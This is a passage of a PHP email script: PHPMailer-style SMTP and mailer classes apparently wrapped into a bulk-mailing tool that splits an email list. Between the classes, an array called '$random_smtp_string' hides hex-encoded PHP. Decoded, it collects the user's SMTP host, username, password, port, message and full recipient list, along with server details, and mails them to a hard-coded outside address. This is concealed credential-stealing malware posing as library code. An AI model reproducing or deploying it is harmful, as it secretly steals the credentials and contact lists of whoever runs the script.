  961.       if($this->do_debug >= 1) {
  962.         echo "SMTP -> ERROR: " . $this->error["error"] .
  963.                  ": " . $rply . $this->CRLF;
  964.       }
  965.       return false;
  966.     }
  967.     return true;
  968.   }
  969.  
  970.   /**
  971.    * Sends the command NOOP to the SMTP server.
  972.    *
  973.    * Implements from rfc 821: NOOP <CRLF>
  974.    *
  975.    * SMTP CODE SUCCESS: 250
  976.    * SMTP CODE ERROR  : 500, 421
  977.    * @access public
  978.    * @return bool
  979.    */
  980.   function Noop() {
  981.     $this->error = null; # so no confusion is caused
  982.  
  983.     if(!$this->connected()) {
  984.       $this->error = array(
  985.               "error" => "Called Noop() without being connected");
  986.       return false;
  987.     }
  988.  
  989.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  990.  
  991.     $rply = $this->get_lines();
  992.     $code = substr($rply,0,3);
  993.  
  994.     if($this->do_debug >= 2) {
  995.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  996.     }
  997.  
  998.     if($code != 250) {
  999.       $this->error =
  1000.         array("error" => "NOOP not accepted from server",
  1001.               "smtp_code" => $code,
  1002.               "smtp_msg" => substr($rply,4));
  1003.       if($this->do_debug >= 1) {
  1004.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1005.                  ": " . $rply . $this->CRLF;
  1006.       }
  1007.       return false;
  1008.     }
  1009.     return true;
  1010.   }
  1011.  
  1012.   /**
  1013.    * Sends the quit command to the server and then closes the socket
  1014.    * if there is no error or the $close_on_error argument is true.
  1015.    *
  1016.    * Implements from rfc 821: QUIT <CRLF>
  1017.    *
  1018.    * SMTP CODE SUCCESS: 221
  1019.    * SMTP CODE ERROR  : 500
  1020.    * @access public
  1021.    * @return bool
  1022.    */
  1023.   function Quit($close_on_error=true) {
  1024.     $this->error = null; # so there is no confusion
  1025.  
  1026.     if(!$this->connected()) {
  1027.       $this->error = array(
  1028.               "error" => "Called Quit() without being connected");
  1029.       return false;
  1030.     }
  1031.  
  1032.     # send the quit command to the server
  1033.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1034.  
  1035.     # get any good-bye messages
  1036.    $byemsg = $this->get_lines();
  1037.  
  1038.     if($this->do_debug >= 2) {
  1039.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1040.     }
  1041.  
  1042.     $rval = true;
  1043.     $e = null;
  1044.  
  1045.     $code = substr($byemsg,0,3);
  1046.     if($code != 221) {
  1047.       # use e as a tmp var cause Close will overwrite $this->error
  1048.      $e = array("error" => "SMTP server rejected quit command",
  1049.                  "smtp_code" => $code,
  1050.                  "smtp_rply" => substr($byemsg,4));
  1051.       $rval = false;
  1052.       if($this->do_debug >= 1) {
  1053.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1054.                  $byemsg . $this->CRLF;
  1055.       }
  1056.     }
  1057.  
  1058.     if(empty($e) || $close_on_error) {
  1059.       $this->Close();
  1060.     }
  1061.  
  1062.     return $rval;
  1063.   }
  1064.  
  1065.   /**
  1066.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1067.    * Returns true if the recipient was accepted false if it was rejected.
  1068.    *
  1069.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1070.    *
  1071.    * SMTP CODE SUCCESS: 250,251
  1072.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1073.    * SMTP CODE ERROR  : 500,501,503,421
  1074.    * @access public
  1075.    * @return bool
  1076.    */
  1077.   function Recipient($to) {
  1078.     $this->error = null; # so no confusion is caused
  1079.  
  1080.     if(!$this->connected()) {
  1081.       $this->error = array(
  1082.               "error" => "Called Recipient() without being connected");
  1083.       return false;
  1084.     }
  1085.  
  1086.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1087.  
  1088.     $rply = $this->get_lines();
  1089.     $code = substr($rply,0,3);
  1090.  
  1091.     if($this->do_debug >= 2) {
  1092.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1093.     }
  1094.  
  1095.     if($code != 250 && $code != 251) {
  1096.       $this->error =
  1097.         array("error" => "RCPT not accepted from server",
  1098.               "smtp_code" => $code,
  1099.               "smtp_msg" => substr($rply,4));
  1100.       if($this->do_debug >= 1) {
  1101.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1102.                  ": " . $rply . $this->CRLF;
  1103.       }
  1104.       return false;
  1105.     }
  1106.     return true;
  1107.   }
  1108.  
  1109.   /**
  1110.    * Sends the RSET command to abort and transaction that is
  1111.    * currently in progress. Returns true if successful false
  1112.    * otherwise.
  1113.    *
  1114.    * Implements rfc 821: RSET <CRLF>
  1115.    *
  1116.    * SMTP CODE SUCCESS: 250
  1117.    * SMTP CODE ERROR  : 500,501,504,421
  1118.    * @access public
  1119.    * @return bool
  1120.    */
  1121.   function Reset() {
  1122.     $this->error = null; # so no confusion is caused
  1123.  
  1124.     if(!$this->connected()) {
  1125.       $this->error = array(
  1126.               "error" => "Called Reset() without being connected");
  1127.       return false;
  1128.     }
  1129.  
  1130.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1131.  
  1132.     $rply = $this->get_lines();
  1133.     $code = substr($rply,0,3);
  1134.  
  1135.     if($this->do_debug >= 2) {
  1136.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1137.     }
  1138.  
  1139.     if($code != 250) {
  1140.       $this->error =
  1141.         array("error" => "RSET failed",
  1142.               "smtp_code" => $code,
  1143.               "smtp_msg" => substr($rply,4));
  1144.       if($this->do_debug >= 1) {
  1145.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1146.                  ": " . $rply . $this->CRLF;
  1147.       }
  1148.       return false;
  1149.     }
  1150.  
  1151.     return true;
  1152.   }
  1153.  
  1154.   /**
  1155.    * Starts a mail transaction from the email address specified in
  1156.    * $from. Returns true if successful or false otherwise. If True
  1157.    * the mail transaction is started and then one or more Recipient
  1158.    * commands may be called followed by a Data command. This command
  1159.    * will send the message to the users terminal if they are logged
  1160.    * in.
  1161.    *
  1162.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1163.    *
  1164.    * SMTP CODE SUCCESS: 250
  1165.    * SMTP CODE SUCCESS: 552,451,452
  1166.    * SMTP CODE SUCCESS: 500,501,502,421
  1167.    * @access public
  1168.    * @return bool
  1169.    */
  1170.   function Send($from) {
  1171.     $this->error = null; # so no confusion is caused
  1172.  
  1173.     if(!$this->connected()) {
  1174.       $this->error = array(
  1175.               "error" => "Called Send() without being connected");
  1176.       return false;
  1177.     }
  1178.  
  1179.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1180.  
  1181.     $rply = $this->get_lines();
  1182.     $code = substr($rply,0,3);
  1183.  
  1184.     if($this->do_debug >= 2) {
  1185.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1186.     }
  1187.  
  1188.     if($code != 250) {
  1189.       $this->error =
  1190.         array("error" => "SEND not accepted from server",
  1191.               "smtp_code" => $code,
  1192.               "smtp_msg" => substr($rply,4));
  1193.       if($this->do_debug >= 1) {
  1194.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1195.                  ": " . $rply . $this->CRLF;
  1196.       }
  1197.       return false;
  1198.     }
  1199.     return true;
  1200.   }
  1201.  
  1202.   /**
  1203.    * Starts a mail transaction from the email address specified in
  1204.    * $from. Returns true if successful or false otherwise. If True
  1205.    * the mail transaction is started and then one or more Recipient
  1206.    * commands may be called followed by a Data command. This command
  1207.    * will send the message to the users terminal if they are logged
  1208.    * in and send them an email.
  1209.    *
  1210.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1211.    *
  1212.    * SMTP CODE SUCCESS: 250
  1213.    * SMTP CODE SUCCESS: 552,451,452
  1214.    * SMTP CODE SUCCESS: 500,501,502,421
  1215.    * @access public
  1216.    * @return bool
  1217.    */
  1218.   function SendAndMail($from) {
  1219.     $this->error = null; # so no confusion is caused
  1220.  
  1221.     if(!$this->connected()) {
  1222.       $this->error = array(
  1223.           "error" => "Called SendAndMail() without being connected");
  1224.       return false;
  1225.     }
  1226.  
  1227.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1228.  
  1229.     $rply = $this->get_lines();
  1230.     $code = substr($rply,0,3);
  1231.  
  1232.     if($this->do_debug >= 2) {
  1233.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1234.     }
  1235.  
  1236.     if($code != 250) {
  1237.       $this->error =
  1238.         array("error" => "SAML not accepted from server",
  1239.               "smtp_code" => $code,
  1240.               "smtp_msg" => substr($rply,4));
  1241.       if($this->do_debug >= 1) {
  1242.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1243.                  ": " . $rply . $this->CRLF;
  1244.       }
  1245.       return false;
  1246.     }
  1247.     return true;
  1248.   }
  1249.  
  1250.   /**
  1251.    * Starts a mail transaction from the email address specified in
  1252.    * $from. Returns true if successful or false otherwise. If True
  1253.    * the mail transaction is started and then one or more Recipient
  1254.    * commands may be called followed by a Data command. This command
  1255.    * will send the message to the users terminal if they are logged
  1256.    * in or mail it to them if they are not.
  1257.    *
  1258.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1259.    *
  1260.    * SMTP CODE SUCCESS: 250
  1261.    * SMTP CODE SUCCESS: 552,451,452
  1262.    * SMTP CODE SUCCESS: 500,501,502,421
  1263.    * @access public
  1264.    * @return bool
  1265.    */
  1266.   function SendOrMail($from) {
  1267.     $this->error = null; # so no confusion is caused
  1268.  
  1269.     if(!$this->connected()) {
  1270.       $this->error = array(
  1271.           "error" => "Called SendOrMail() without being connected");
  1272.       return false;
  1273.     }
  1274.  
  1275.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1276.  
  1277.     $rply = $this->get_lines();
  1278.     $code = substr($rply,0,3);
  1279.  
  1280.     if($this->do_debug >= 2) {
  1281.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1282.     }
  1283.  
  1284.     if($code != 250) {
  1285.       $this->error =
  1286.         array("error" => "SOML not accepted from server",
  1287.               "smtp_code" => $code,
  1288.               "smtp_msg" => substr($rply,4));
  1289.       if($this->do_debug >= 1) {
  1290.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1291.                  ": " . $rply . $this->CRLF;
  1292.       }
  1293.       return false;
  1294.     }
  1295.     return true;
  1296.   }
  1297.  
  1298.   /**
  1299.    * This is an optional command for SMTP that this class does not
  1300.    * support. This method is here to make the RFC821 Definition
  1301.    * complete for this class and __may__ be implimented in the future
  1302.    *
  1303.    * Implements from rfc 821: TURN <CRLF>
  1304.    *
  1305.    * SMTP CODE SUCCESS: 250
  1306.    * SMTP CODE FAILURE: 502
  1307.    * SMTP CODE ERROR  : 500, 503
  1308.    * @access public
  1309.    * @return bool
  1310.    */
  1311.   function Turn() {
  1312.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1313.                                     "is not implemented");
  1314.     if($this->do_debug >= 1) {
  1315.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1316.     }
  1317.     return false;
  1318.   }
  1319.  
  1320.   /**
  1321.    * Verifies that the name is recognized by the server.
  1322.    * Returns false if the name could not be verified otherwise
  1323.    * the response from the server is returned.
  1324.    *
  1325.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1326.    *
  1327.    * SMTP CODE SUCCESS: 250,251
  1328.    * SMTP CODE FAILURE: 550,551,553
  1329.    * SMTP CODE ERROR  : 500,501,502,421
  1330.    * @access public
  1331.    * @return int
  1332.    */
  1333.   function Verify($name) {
  1334.     $this->error = null; # so no confusion is caused
  1335.  
  1336.     if(!$this->connected()) {
  1337.       $this->error = array(
  1338.               "error" => "Called Verify() without being connected");
  1339.       return false;
  1340.     }
  1341.  
  1342.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1343.  
  1344.     $rply = $this->get_lines();
  1345.     $code = substr($rply,0,3);
  1346.  
  1347.     if($this->do_debug >= 2) {
  1348.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1349.     }
  1350.  
  1351.     if($code != 250 && $code != 251) {
  1352.       $this->error =
  1353.         array("error" => "VRFY failed on name '$name'",
  1354.               "smtp_code" => $code,
  1355.               "smtp_msg" => substr($rply,4));
  1356.       if($this->do_debug >= 1) {
  1357.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1358.                  ": " . $rply . $this->CRLF;
  1359.       }
  1360.       return false;
  1361.     }
  1362.     return $rply;
  1363.   }
  1364.  
  1365.   /*******************************************************************
  1366.    *                       INTERNAL FUNCTIONS                       *
  1367.    ******************************************************************/
  1368.  
  1369.   /**
  1370.    * Read in as many lines as possible
  1371.    * either before eof or socket timeout occurs on the operation.
  1372.    * With SMTP we can tell if we have more lines to read if the
  1373.    * 4th character is '-' symbol. If it is a space then we don't
  1374.    * need to read anything else.
  1375.    * @access private
  1376.    * @return string
  1377.    */
  1378.   function get_lines() {
  1379.     $data = "";
  1380.     while($str = @fgets($this->smtp_conn,515)) {
  1381.       if($this->do_debug >= 4) {
  1382.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1383.                  $this->CRLF;
  1384.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1385.                  $this->CRLF;
  1386.       }
  1387.       $data .= $str;
  1388.       if($this->do_debug >= 4) {
  1389.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1390.       }
  1391.       # if the 4th character is a space then we are done reading
  1392.      # so just break the loop
  1393.      if(substr($str,3,1) == " ") { break; }
  1394.     }
  1395.     return $data;
  1396.   }
  1397.  
  1398. }
  1399.  
  1400.        
  1401. $allemails = split("\n", $emaillist);
  1402. $numemails = count($allemails);
  1403. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1404. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1405. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1406. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1407. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1408. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1409. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1410. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1411. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1412. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1413.  
  1414. class PHPMailer {
  1415.  
  1416.   /////////////////////////////////////////////////
  1417.   // PROPERTIES, PUBLIC
  1418.   /////////////////////////////////////////////////
  1419.  
  1420.   /**
  1421.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1422.    * @var int
  1423.    */
  1424.   var $Priority          = 3;
  1425.  
  1426.   /**
  1427.    * Sets the CharSet of the message.
  1428.    * @var string
  1429.    */
  1430.   var $CharSet           = 'iso-8859-1';
  1431.  
  1432.   /**
  1433.    * Sets the Content-type of the message.
  1434.    * @var string
  1435.    */
  1436.   var $ContentType        = 'text/plain';
  1437.  
  1438.   /**
  1439.    * Sets the Encoding of the message. Options for this are "8bit",
  1440.    * "7bit", "binary", "base64", and "quoted-printable".
  1441.  
  1442.    * @var string
  1443.    */
  1444.   var $Encoding          = '8bit';
  1445.  
  1446.   /**
  1447.    * Holds the most recent mailer error message.
  1448.    * @var string
  1449.    */
  1450.   var $ErrorInfo         = '';
  1451.  
  1452.   /**
  1453.    * Sets the From email address for the message.
  1454.    * @var string
  1455.    */
  1456.   var $From              = '';
  1457.  
  1458.   /**
  1459.    * Sets the From name of the message.
  1460.    * @var string
  1461.    */
  1462.   var $FromName          = '';
  1463.  
  1464.   /**
  1465.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1466.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1467.    * @var string
  1468.    */
  1469.   var $Sender            = '';
  1470.  
  1471.   /**
  1472.    * Sets the Subject of the message.
  1473.    * @var string
  1474.    */
  1475.   var $Subject           = '';
  1476.  
  1477.   /**
  1478.    * Sets the Body of the message.  This can be either an HTML or text body.
  1479.    * If HTML then run IsHTML(true).
  1480.    * @var string
  1481.    */
  1482.   var $Body              = '';
  1483.  
  1484.   /**
  1485.    * Sets the text-only body of the message.  This automatically sets the
  1486.    * email to multipart/alternative.  This body can be read by mail
  1487.    * clients that do not have HTML email capability such as mutt. Clients
  1488.    * that can read HTML will view the normal Body.
  1489.    * @var string
  1490.    */
  1491.   var $AltBody           = '';
  1492.  
  1493.   /**
  1494.    * Sets word wrapping on the body of the message to a given number of
  1495.    * characters.
  1496.    * @var int
  1497.    */
  1498.   var $WordWrap          = 0;
  1499.  
  1500.   /**
  1501.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1502.    * @var string
  1503.    */
  1504.   var $Mailer            = 'mail';
  1505.  
  1506.   /**
  1507.    * Sets the path of the sendmail program.
  1508.    * @var string
  1509.    */
  1510.   var $Sendmail          = '/usr/sbin/sendmail';
  1511.  
  1512.   /**
  1513.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1514.    * is in a different directory than the PHP include path.
  1515.    * @var string
  1516.    */
  1517.   var $PluginDir         = '';
  1518.  
  1519.   /**
  1520.    * Holds PHPMailer version.
  1521.    * @var string
  1522.    */
  1523.   var $Version           = "";
  1524.  
  1525.   /**
  1526.    * Sets the email address that a reading confirmation will be sent.
  1527.    * @var string
  1528.    */
  1529.   var $ConfirmReadingTo  = '';
  1530.  
  1531.   /**
  1532.    * Sets the hostname to use in Message-Id and Received headers
  1533.    * and as default HELO string. If empty, the value returned
  1534.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1535.    * @var string
  1536.    */
  1537.   var $Hostname          = '';
  1538.  
  1539.   /**
  1540.    * Sets the message ID to be used in the Message-Id header.
  1541.    * If empty, a unique id will be generated.
  1542.    * @var string
  1543.    */
  1544.   var $MessageID         = '';
  1545.  
  1546.   /////////////////////////////////////////////////
  1547.   // PROPERTIES FOR SMTP
  1548.   /////////////////////////////////////////////////
  1549.  
  1550.   /**
  1551.    * Sets the SMTP hosts.  All hosts must be separated by a
  1552.    * semicolon.  You can also specify a different port
  1553.    * for each host by using this format: [hostname:port]
  1554.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1555.    * Hosts will be tried in order.
  1556.    * @var string
  1557.    */
  1558.   var $Host        = 'localhost';
  1559.  
  1560.   /**
  1561.    * Sets the default SMTP server port.
  1562.    * @var int
  1563.    */
  1564.   var $Port        = 25;
  1565.  
  1566.   /**
  1567.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1568.    * @var string
  1569.    */
  1570.   var $Helo        = '';
  1571.  
  1572.   /**
  1573.    * Sets connection prefix.
  1574.    * Options are "", "ssl" or "tls"
  1575.    * @var string
  1576.    */
  1577.   var $SMTPSecure = "";
  1578.  
  1579.   /**
  1580.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1581.    * @var bool
  1582.    */
  1583.   var $SMTPAuth     = false;
  1584.  
  1585.   /**
  1586.    * Sets SMTP username.
  1587.    * @var string
  1588.    */
  1589.   var $Username     = '';
  1590.  
  1591.   /**
  1592.    * Sets SMTP password.
  1593.    * @var string
  1594.    */
  1595.   var $Password     = '';
  1596.  
  1597.   /**
  1598.    * Sets the SMTP server timeout in seconds. This function will not
  1599.    * work with the win32 version.
  1600.    * @var int
  1601.    */
  1602.   var $Timeout      = 10;
  1603.  
  1604.   /**
  1605.    * Sets SMTP class debugging on or off.
  1606.    * @var bool
  1607.    */
  1608.   var $SMTPDebug    = false;
  1609.  
  1610.   /**
  1611.    * Prevents the SMTP connection from being closed after each mail
  1612.    * sending.  If this is set to true then to close the connection
  1613.    * requires an explicit call to SmtpClose().
  1614.    * @var bool
  1615.    */
  1616.   var $SMTPKeepAlive = false;
  1617.  
  1618.   /**
  1619.    * Provides the ability to have the TO field process individual
  1620.    * emails, instead of sending to entire TO addresses
  1621.    * @var bool
  1622.    */
  1623.   var $SingleTo = false;
  1624.  
  1625.   /////////////////////////////////////////////////
  1626.   // PROPERTIES, PRIVATE
  1627.   /////////////////////////////////////////////////
  1628.  
  1629.   var $smtp            = NULL;
  1630.   var $to              = array();
  1631.   var $cc              = array();
  1632.   var $bcc             = array();
  1633.   var $ReplyTo         = array();
  1634.   var $attachment      = array();
  1635.   var $CustomHeader    = array();
  1636.   var $message_type    = '';
  1637.   var $boundary        = array();
  1638.   var $language        = array();
  1639.   var $error_count     = 0;
  1640.   var $LE              = "\n";
  1641.   var $sign_key_file   = "";
  1642.   var $sign_key_pass   = "";
  1643.  
  1644.   /////////////////////////////////////////////////
  1645.   // METHODS, VARIABLES
  1646.   /////////////////////////////////////////////////
  1647.  
  1648.   /**
  1649.    * Sets message type to HTML.
  1650.    * @param bool $bool
  1651.    * @return void
  1652.    */
  1653.   function IsHTML($bool) {
  1654.     if($bool == true) {
  1655.       $this->ContentType = 'text/html';
  1656.     } else {
  1657.       $this->ContentType = 'text/plain';
  1658.     }
  1659.   }
  1660.  
  1661.   /**
  1662.    * Sets Mailer to send message using SMTP.
  1663.    * @return void
  1664.    */
  1665.   function IsSMTP() {
  1666.     $this->Mailer = 'smtp';
  1667.   }
  1668.  
  1669.   /**
  1670.    * Sets Mailer to send message using PHP mail() function.
  1671.    * @return void
  1672.    */
  1673.   function IsMail() {
  1674.     $this->Mailer = 'mail';
  1675.   }
  1676.  
  1677.   /**
  1678.    * Sets Mailer to send message using the $Sendmail program.
  1679.    * @return void
  1680.    */
  1681.   function IsSendmail() {
  1682.     $this->Mailer = 'sendmail';
  1683.   }
  1684.  
  1685.   /**
  1686.    * Sets Mailer to send message using the qmail MTA.
  1687.    * @return void
  1688.    */
  1689.   function IsQmail() {
  1690.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1691.     $this->Mailer = 'sendmail';
  1692.   }
  1693.  
  1694.   /////////////////////////////////////////////////
  1695.   // METHODS, RECIPIENTS
  1696.   /////////////////////////////////////////////////
  1697.  
  1698.   /**
  1699.    * Adds a "To" address.
  1700.    * @param string $address
  1701.    * @param string $name
  1702.    * @return void
  1703.    */
  1704.   function AddAddress($address, $name = '') {
  1705.     $cur = count($this->to);
  1706.     $this->to[$cur][0] = trim($address);
  1707.     $this->to[$cur][1] = $name;
  1708.   }
  1709.  
  1710.   /**
  1711.    * Adds a "Cc" address. Note: this function works
  1712.    * with the SMTP mailer on win32, not with the "mail"
  1713.    * mailer.
  1714.    * @param string $address
  1715.    * @param string $name
  1716.    * @return void
  1717.    */
  1718.   function AddCC($address, $name = '') {
  1719.     $cur = count($this->cc);
  1720.     $this->cc[$cur][0] = trim($address);
  1721.     $this->cc[$cur][1] = $name;
  1722.   }
  1723.  
  1724.   /**
  1725.    * Adds a "Bcc" address. Note: this function works
  1726.    * with the SMTP mailer on win32, not with the "mail"
  1727.    * mailer.
  1728.    * @param string $address
  1729.    * @param string $name
  1730.    * @return void
  1731.    */
  1732.   function AddBCC($address, $name = '') {
  1733.     $cur = count($this->bcc);
  1734.     $this->bcc[$cur][0] = trim($address);
  1735.     $this->bcc[$cur][1] = $name;
  1736.   }
  1737.  
  1738.   /**
  1739.    * Adds a "Reply-To" address.
  1740.    * @param string $address
  1741.    * @param string $name
  1742.    * @return void
  1743.    */
  1744.   function AddReplyTo($address, $name = '') {
  1745.     $cur = count($this->ReplyTo);
  1746.     $this->ReplyTo[$cur][0] = trim($address);
  1747.     $this->ReplyTo[$cur][1] = $name;
  1748.   }
  1749.  
  1750.   /////////////////////////////////////////////////
  1751.   // METHODS, MAIL SENDING
  1752.   /////////////////////////////////////////////////
  1753.  
  1754.   /**
  1755.    * Creates message and assigns Mailer. If the message is
  1756.    * not sent successfully then it returns false.  Use the ErrorInfo
  1757.    * variable to view description of the error.
  1758.    * @return bool
  1759.    */
  1760.   function Send() {
  1761.     $header = '';
  1762.     $body = '';
  1763.     $result = true;
  1764.  
  1765.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1766.       $this->SetError($this->Lang('provide_address'));
  1767.       return false;
  1768.     }
  1769.  
  1770.     /* Set whether the message is multipart/alternative */
  1771.     if(!empty($this->AltBody)) {
  1772.       $this->ContentType = 'multipart/alternative';
  1773.     }
  1774.  
  1775.     $this->error_count = 0; // reset errors
  1776.     $this->SetMessageType();
  1777.     $header .= $this->CreateHeader();
  1778.     $body = $this->CreateBody();
  1779.  
  1780.     if($body == '') {
  1781.       return false;
  1782.     }
  1783.  
  1784.     /* Choose the mailer */
  1785.     switch($this->Mailer) {
  1786.       case 'sendmail':
  1787.         $result = $this->SendmailSend($header, $body);
  1788.         break;
  1789.       case 'smtp':
  1790.         $result = $this->SmtpSend($header, $body);
  1791.         break;
  1792.       case 'mail':
  1793.         $result = $this->MailSend($header, $body);
  1794.         break;
  1795.       default:
  1796.         $result = $this->MailSend($header, $body);
  1797.         break;
  1798.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1799.         //$result = false;
  1800.         //break;
  1801.     }
  1802.  
  1803.     return $result;
  1804.   }
  1805.  
  1806.   /**
  1807.    * Sends mail using the $Sendmail program.
  1808.    * @access private
  1809.    * @return bool
  1810.    */
  1811.   function SendmailSend($header, $body) {
  1812.     if ($this->Sender != '') {
  1813.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1814.     } else {
  1815.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1816.     }
  1817.  
  1818.     if(!@$mail = popen($sendmail, 'w')) {
  1819.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1820.       return false;
  1821.     }
  1822.  
  1823.     fputs($mail, $header);
  1824.     fputs($mail, $body);
  1825.  
  1826.     $result = pclose($mail);
  1827.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1828.       $result = $result >> 8 & 0xFF;
  1829.     }
  1830.     if($result != 0) {
  1831.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1832.       return false;
  1833.     }
  1834.     return true;
  1835.   }
  1836.  
  1837.   /**
  1838.    * Sends mail using the PHP mail() function.
  1839.    * @access private
  1840.    * @return bool
  1841.    */
  1842.   function MailSend($header, $body) {
  1843.  
  1844.     $to = '';
  1845.     for($i = 0; $i < count($this->to); $i++) {
  1846.       if($i != 0) { $to .= ', '; }
  1847.       $to .= $this->AddrFormat($this->to[$i]);
  1848.     }
  1849.  
  1850.     $toArr = split(',', $to);
  1851.  
  1852.     $params = sprintf("-oi -f %s", $this->Sender);
  1853.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1854.       $old_from = ini_get('sendmail_from');
  1855.       ini_set('sendmail_from', $this->Sender);
  1856.       if ($this->SingleTo === true && count($toArr) > 1) {
  1857.         foreach ($toArr as $key => $val) {
  1858.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1859.         }
  1860.       } else {
  1861.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1862.       }
  1863.     } else {
  1864.       if ($this->SingleTo === true && count($toArr) > 1) {
  1865.         foreach ($toArr as $key => $val) {
  1866.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1867.         }
  1868.       } else {
  1869.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1870.       }
  1871.     }
  1872.  
  1873.     if (isset($old_from)) {
  1874.       ini_set('sendmail_from', $old_from);
  1875.     }
  1876.  
  1877.     if(!$rt) {
  1878.       $this->SetError($this->Lang('instantiate'));
  1879.       return false;
  1880.     }
  1881.  
  1882.     return true;
  1883.   }
  1884.  
  1885.   /**
  1886.    * Sends mail via SMTP using PhpSMTP (Author:
  1887.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1888.    * bad MAIL FROM, RCPT, or DATA input.
  1889.    * @access private
  1890.    * @return bool
  1891.    */
  1892.   function SmtpSend($header, $body) {
  1893.     $error = '';
  1894.     $bad_rcpt = array();
  1895.  
  1896.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1897.       return false;
  1898.     }
  1899.  
  1900.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1901.     if(!$this->smtp->Mail($smtp_from)) {
